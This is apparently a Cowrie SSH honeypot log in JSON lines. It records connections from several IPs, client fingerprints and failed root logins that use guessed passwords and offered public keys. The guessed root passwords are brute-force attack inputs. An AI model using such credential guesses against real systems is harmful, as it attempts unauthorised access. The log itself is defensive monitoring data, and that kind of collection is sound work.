{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7u8i9o0p","message":"login attempt [root/1q2w3e4r5t6y7u8i9o0p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:07.159965Z","src_ip":"185.236.22.41","session":"802b9836320a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:08.282001Z","src_ip":"185.236.22.41","session":"802b9836320a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":38246,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb5d5c1ca2d3","protocol":"ssh","message":"New connection: 147.45.211.215:38246 (159.203.135.109:22) [session: fb5d5c1ca2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:19.313236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:19.317947Z","src_ip":"147.45.211.215","session":"fb5d5c1ca2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:19.500261Z","src_ip":"147.45.211.215","session":"fb5d5c1ca2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kaktus","message":"login attempt [root/kaktus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:20.134953Z","src_ip":"147.45.211.215","session":"fb5d5c1ca2d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:21.311459Z","src_ip":"147.45.211.215","session":"fb5d5c1ca2d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.38.102","src_port":23288,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fa687d35871","protocol":"ssh","message":"New connection: 62.210.38.102:23288 (10.17.0.5:22) [session: 9fa687d35871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.017742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.022952Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.106501Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:8e:91:b6:99:b5:e9:df:a1:7e:4b:53:bf:eb:b0:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+eErPSuqrcZqk3+NAMZVYoQvlUfshibpHNDRVyMsBTREgViTqT66ymjvHZBQoVVm4cVNaQzJgx2jmUCbGIxuEkeP/TfAe2su/E7rrlIjDqpqJopIdvbIRXzuK3T+MsvnfWmKgyapeGJNC7DeK0B8VXXNIr321dp4j4mB/sV6EGAb3ENvSoB1QwXkp79ysVqMfGndacl1H4HzuJx0X+I3q+LF8DEXy0ohn49Jn4owuOww+3AeRLxEPR72g4I0zJi1yU/8Mm6jZ9TuxqLDZ7kavy8p1JaWw4gflhzL+Wafm1McyK6n3TbXfvJf30KK3cCe8UvRJOVpg1gFdGCDYqJ+T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:8e:91:b6:99:b5:e9:df:a1:7e:4b:53:bf:eb:b0:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.497240Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:8e:91:b6:99:b5:e9:df:a1:7e:4b:53:bf:eb:b0:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+eErPSuqrcZqk3+NAMZVYoQvlUfshibpHNDRVyMsBTREgViTqT66ymjvHZBQoVVm4cVNaQzJgx2jmUCbGIxuEkeP/TfAe2su/E7rrlIjDqpqJopIdvbIRXzuK3T+MsvnfWmKgyapeGJNC7DeK0B8VXXNIr321dp4j4mB/sV6EGAb3ENvSoB1QwXkp79ysVqMfGndacl1H4HzuJx0X+I3q+LF8DEXy0ohn49Jn4owuOww+3AeRLxEPR72g4I0zJi1yU/8Mm6jZ9TuxqLDZ7kavy8p1JaWw4gflhzL+Wafm1McyK6n3TbXfvJf30KK3cCe8UvRJOVpg1gFdGCDYqJ+T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.501358Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:50:32:e5:88:a1:9d:e2:84:05:0f:ad:71:92:db:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDATYgk0gaMFbgIDu6P2oS+cg3Nshc81ZBqSns5TJWsxirIuwqfVgHVtJ9dEBsj/rKc5HYXz84CtZqsllLCOky0l7HQhFTH5Z6AhJ9TsOXoE2d2ChC14FgX5u/dO5Z5FEZumngWUrXmDMg1FBOVvGaKleyFkn7BjOeHIuiPmvUToPvwKprzD4TSpVrHnwcxYD45JroLyVv0EFbHr7Ddz4n/lvhCe5Zn5OdMRMM7iEH1PegLJ/WVQEMy5MvdpKyiIhSbHA4luVUx2sU7Rd1A/OyZeH3JO1YTo3twzw/B8qmLqj9A6PlAsCwBK8D3L5KsIvGsny5ptIcdvPSB0IhFTVJf1a8kVHuX8AlxohnKF/sjBU3IuBkXmYgCNvWteb5zPdn5cI90XWJz3wb8cOCjd15G2UlxfEZCPu4CjnQHHHshwVun7bFhEELMdazL8vbSBTW/8hir87zUDPRgOnJM1c+5jcUY2AEzroxOntBWjcugrFi+oS+3NokVSv0/Oy+JvS8t0YcPN/fyO5OJe+VzQ0UrHcITKXJ/iDI8uSjPTn67XdfyOArltb5wPPSNBher1a3v0x3dJQVvDA1ZvfbemBoQNKGYOIt9E+stCAJARv5eRQNUm7musAkKb6ltPOi/mDMXMV9RhmjugIwIpBGEQ0qKbE9lJEMDeQgNpR6Bo2zHOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:50:32:e5:88:a1:9d:e2:84:05:0f:ad:71:92:db:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.586961Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:50:32:e5:88:a1:9d:e2:84:05:0f:ad:71:92:db:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDATYgk0gaMFbgIDu6P2oS+cg3Nshc81ZBqSns5TJWsxirIuwqfVgHVtJ9dEBsj/rKc5HYXz84CtZqsllLCOky0l7HQhFTH5Z6AhJ9TsOXoE2d2ChC14FgX5u/dO5Z5FEZumngWUrXmDMg1FBOVvGaKleyFkn7BjOeHIuiPmvUToPvwKprzD4TSpVrHnwcxYD45JroLyVv0EFbHr7Ddz4n/lvhCe5Zn5OdMRMM7iEH1PegLJ/WVQEMy5MvdpKyiIhSbHA4luVUx2sU7Rd1A/OyZeH3JO1YTo3twzw/B8qmLqj9A6PlAsCwBK8D3L5KsIvGsny5ptIcdvPSB0IhFTVJf1a8kVHuX8AlxohnKF/sjBU3IuBkXmYgCNvWteb5zPdn5cI90XWJz3wb8cOCjd15G2UlxfEZCPu4CjnQHHHshwVun7bFhEELMdazL8vbSBTW/8hir87zUDPRgOnJM1c+5jcUY2AEzroxOntBWjcugrFi+oS+3NokVSv0/Oy+JvS8t0YcPN/fyO5OJe+VzQ0UrHcITKXJ/iDI8uSjPTn67XdfyOArltb5wPPSNBher1a3v0x3dJQVvDA1ZvfbemBoQNKGYOIt9E+stCAJARv5eRQNUm7musAkKb6ltPOi/mDMXMV9RhmjugIwIpBGEQ0qKbE9lJEMDeQgNpR6Bo2zHOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.590643Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:e7:b2:33:46:91:c1:2d:bd:fe:c6:e3:f3:b6:94:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDioo1h+vTT1E7ElaqEz9JuczTrahA3rZuReXQ0qSiA0CnUj3ixJ6Z5dmOf/bZxkC7CGWay2XsWxPM6YaSQtprlhcI+mBOGzHY/8TK/dBdUxlftHBCXy+jk564jwWyhFYAsnBaunLTWMAo1CKYG3N5zjNIi+ZIhKoyNWzPdcFhPTP+t5WOB3ycJiWwcWSTykW0gVcdL5VvoTCuC+sMNKtf0lONKIMhsCDnK0sgnQrSYZKxxSKLIRebHyfVGTKUn3ZGZxtJ/NbLNCRscIT5kpyzaL0aYWroYGrLNcV4BeQCh1PyFvPmGrFbet2e2ITCuiwWufj6ReJqlThQJw7ljKa97tqK+4RK3smymdYknAnvhddzeZ4cpSNq2WVhtofEZNd3XRu1MaYH36i8rLeeeWOXnJW6QnJdk9coFqX/VgNu6xF8ht63ehudWq74qmIE8dpkk9HCtLoYy8aQsW6k9p0ezsZ7qN5bz7o0afRcboN2pkAYDayIQmPQcdkL74/AGAOdnIAccYVYmSHkdncfMzkqV6J4DIfN0cTxB3WPa4oOCpqny1cUtpbgAv5yfv/VwFKTYP4ozbfK+2Y6pf/N5wf9Ee8kh/yp7kbGEcL/dfUIPF1efwEydrLqpUBIrrBA2b/f0L/GRm8Ii0UKlgEBLe9N+SfGGh05Z7MJp5U1U4+KdZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:e7:b2:33:46:91:c1:2d:bd:fe:c6:e3:f3:b6:94:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.673738Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:e7:b2:33:46:91:c1:2d:bd:fe:c6:e3:f3:b6:94:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDioo1h+vTT1E7ElaqEz9JuczTrahA3rZuReXQ0qSiA0CnUj3ixJ6Z5dmOf/bZxkC7CGWay2XsWxPM6YaSQtprlhcI+mBOGzHY/8TK/dBdUxlftHBCXy+jk564jwWyhFYAsnBaunLTWMAo1CKYG3N5zjNIi+ZIhKoyNWzPdcFhPTP+t5WOB3ycJiWwcWSTykW0gVcdL5VvoTCuC+sMNKtf0lONKIMhsCDnK0sgnQrSYZKxxSKLIRebHyfVGTKUn3ZGZxtJ/NbLNCRscIT5kpyzaL0aYWroYGrLNcV4BeQCh1PyFvPmGrFbet2e2ITCuiwWufj6ReJqlThQJw7ljKa97tqK+4RK3smymdYknAnvhddzeZ4cpSNq2WVhtofEZNd3XRu1MaYH36i8rLeeeWOXnJW6QnJdk9coFqX/VgNu6xF8ht63ehudWq74qmIE8dpkk9HCtLoYy8aQsW6k9p0ezsZ7qN5bz7o0afRcboN2pkAYDayIQmPQcdkL74/AGAOdnIAccYVYmSHkdncfMzkqV6J4DIfN0cTxB3WPa4oOCpqny1cUtpbgAv5yfv/VwFKTYP4ozbfK+2Y6pf/N5wf9Ee8kh/yp7kbGEcL/dfUIPF1efwEydrLqpUBIrrBA2b/f0L/GRm8Ii0UKlgEBLe9N+SfGGh05Z7MJp5U1U4+KdZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.685436Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:fb:a2:34:19:68:02:e5:0f:bd:29:bc:e8:f3:26:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDxDJVmndEU+8Mke5ufdiXKhh5N2Y3pGA5q0fhQKExvcL0oTMmHPzefZ8Jd3eqLHHu9i17O6BOcw48rZw0b2MKUnxu8vOCaky3/i+sDSDO4KCAJmBm4EBEpaZ59c95Q/wayKzsRSMPPnfbFicLixOqcStR/g6zrMBgKV24QLtgVQ8Juw3xuWfUlyt+MP0R61uUXKKf8QQuUZjeFXBuRKZ8mNGSVt7nL5SCGXQc62v3vfkIM/pC35UtfLTpYVJZXhoNNAptxsdXkU8lPKOzg2YjuR5Mpu/+0Bn2rCsbiZHT7DJFa5pktubMl6RZGUhLPqmeROXuPWN1hAVxHvvIACSaq4gnS8San/rNrcxqgNEEwaxbpoyfys9EE1gmrV5ClQzvcbyz9sfdbOwgh9MP3fBzQmAAeyIYcnJEU9/HDMCam49j9dmqdrAf9Uorcf09oi/ZyPJYkMHqJvCUKBN6mbcKKN8pyrf7SJGxC104/lJLjaYuNJ/4QEack1PK0eiRyyiW56r1TjdXQPXs5O5RzfJLLZWhSAqIlZ8P9jqIXsEqXZ48E8YHPuOCdthvxhuN9y4tORf0kLBBLEIHkzQMFPybSt6B/aTehaOOSZHwOwIgVrG5/H7Vebx1F5gfBANhyK6t7K2iPQVjgJ3vmPXW8gkJqy0py+Q8DNuclNOEXIkE0Qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:fb:a2:34:19:68:02:e5:0f:bd:29:bc:e8:f3:26:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.770096Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:fb:a2:34:19:68:02:e5:0f:bd:29:bc:e8:f3:26:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDxDJVmndEU+8Mke5ufdiXKhh5N2Y3pGA5q0fhQKExvcL0oTMmHPzefZ8Jd3eqLHHu9i17O6BOcw48rZw0b2MKUnxu8vOCaky3/i+sDSDO4KCAJmBm4EBEpaZ59c95Q/wayKzsRSMPPnfbFicLixOqcStR/g6zrMBgKV24QLtgVQ8Juw3xuWfUlyt+MP0R61uUXKKf8QQuUZjeFXBuRKZ8mNGSVt7nL5SCGXQc62v3vfkIM/pC35UtfLTpYVJZXhoNNAptxsdXkU8lPKOzg2YjuR5Mpu/+0Bn2rCsbiZHT7DJFa5pktubMl6RZGUhLPqmeROXuPWN1hAVxHvvIACSaq4gnS8San/rNrcxqgNEEwaxbpoyfys9EE1gmrV5ClQzvcbyz9sfdbOwgh9MP3fBzQmAAeyIYcnJEU9/HDMCam49j9dmqdrAf9Uorcf09oi/ZyPJYkMHqJvCUKBN6mbcKKN8pyrf7SJGxC104/lJLjaYuNJ/4QEack1PK0eiRyyiW56r1TjdXQPXs5O5RzfJLLZWhSAqIlZ8P9jqIXsEqXZ48E8YHPuOCdthvxhuN9y4tORf0kLBBLEIHkzQMFPybSt6B/aTehaOOSZHwOwIgVrG5/H7Vebx1F5gfBANhyK6t7K2iPQVjgJ3vmPXW8gkJqy0py+Q8DNuclNOEXIkE0Qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.774407Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:4a:19:45:47:79:f4:e5:32:16:ef:5e:a2:d1:f2:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtFiC9BlL/8sBaUB+T5x2DwARS9wOimaQkRcivcsxgBt9+IYZHV0y3GNY4jTYNPCKx+z/lNkOGMwGQkxvLASNZeiY10tHO0nIlPdkVgYzTn1Uj7xnNIEayjXR4w7hn/bnL8+Kw3AFC1a3Q3OPx0GChOLoAEQWF1kwPds9dCz8crRqVMV9zhEw4Q37J5i52+G+xVi6T9p7C3Ey4I5cmYlJGglW+OIpD8e2y1dBT7H+g6RN+xjAQsfBX3b2j89tHPtfhiBGo7qx56WOQwAbloidsQfBEFIF9ynjNJ0YLyJz0Ua6xtRnmLvVCd2xeRUrQvu5ewSFVclI/GWejYtAJ1B0roHNdzWvgIMUI2IUtGXXhQwOGeouJC0B3RTakVaG3MUuabIleXmAqrIEL9nvA4e6HQnRy1YGAUwbbmwJLinorcNiY62AQjjEBP+OEW3RzfJqPSm8ojMyav5sclwUley8uNIN+JkDoOYifpO4TrgwdxelXBkNWjnkilShUuzMySM8B5JcFapn6FFz6ZIa8VkH4flOKUMRpxtlN1aaZzXXd9cavRB4KWsu1Ezu4FY2BQ3Mn2ynpRGmkUR3EH30tsut/d97kzIrzAL0My6LB3rLLarM9pLoRs+5WItJot4i3nvsZEr0tfpmub8gWgy2l9AFwzDvR8X5zVKx9y4g9N1Dh7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:4a:19:45:47:79:f4:e5:32:16:ef:5e:a2:d1:f2:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.859560Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:4a:19:45:47:79:f4:e5:32:16:ef:5e:a2:d1:f2:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtFiC9BlL/8sBaUB+T5x2DwARS9wOimaQkRcivcsxgBt9+IYZHV0y3GNY4jTYNPCKx+z/lNkOGMwGQkxvLASNZeiY10tHO0nIlPdkVgYzTn1Uj7xnNIEayjXR4w7hn/bnL8+Kw3AFC1a3Q3OPx0GChOLoAEQWF1kwPds9dCz8crRqVMV9zhEw4Q37J5i52+G+xVi6T9p7C3Ey4I5cmYlJGglW+OIpD8e2y1dBT7H+g6RN+xjAQsfBX3b2j89tHPtfhiBGo7qx56WOQwAbloidsQfBEFIF9ynjNJ0YLyJz0Ua6xtRnmLvVCd2xeRUrQvu5ewSFVclI/GWejYtAJ1B0roHNdzWvgIMUI2IUtGXXhQwOGeouJC0B3RTakVaG3MUuabIleXmAqrIEL9nvA4e6HQnRy1YGAUwbbmwJLinorcNiY62AQjjEBP+OEW3RzfJqPSm8ojMyav5sclwUley8uNIN+JkDoOYifpO4TrgwdxelXBkNWjnkilShUuzMySM8B5JcFapn6FFz6ZIa8VkH4flOKUMRpxtlN1aaZzXXd9cavRB4KWsu1Ezu4FY2BQ3Mn2ynpRGmkUR3EH30tsut/d97kzIrzAL0My6LB3rLLarM9pLoRs+5WItJot4i3nvsZEr0tfpmub8gWgy2l9AFwzDvR8X5zVKx9y4g9N1Dh7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.863633Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:27.948542Z","src_ip":"62.210.38.102","session":"9fa687d35871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":60090,"dst_ip":"10.17.0.5","dst_port":22,"session":"057a127e5420","protocol":"ssh","message":"New connection: 193.228.128.84:60090 (10.17.0.5:22) [session: 057a127e5420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:41.670586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:41.675701Z","src_ip":"193.228.128.84","session":"057a127e5420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:41.777914Z","src_ip":"193.228.128.84","session":"057a127e5420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexey","message":"login attempt [root/alexey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:42.089208Z","src_ip":"193.228.128.84","session":"057a127e5420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:43.194436Z","src_ip":"193.228.128.84","session":"057a127e5420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":50356,"dst_ip":"10.17.0.5","dst_port":22,"session":"d213e7b4345e","protocol":"ssh","message":"New connection: 79.3.96.178:50356 (10.17.0.5:22) [session: d213e7b4345e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:53.166891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:53.171962Z","src_ip":"79.3.96.178","session":"d213e7b4345e","protocol":"ssh"}
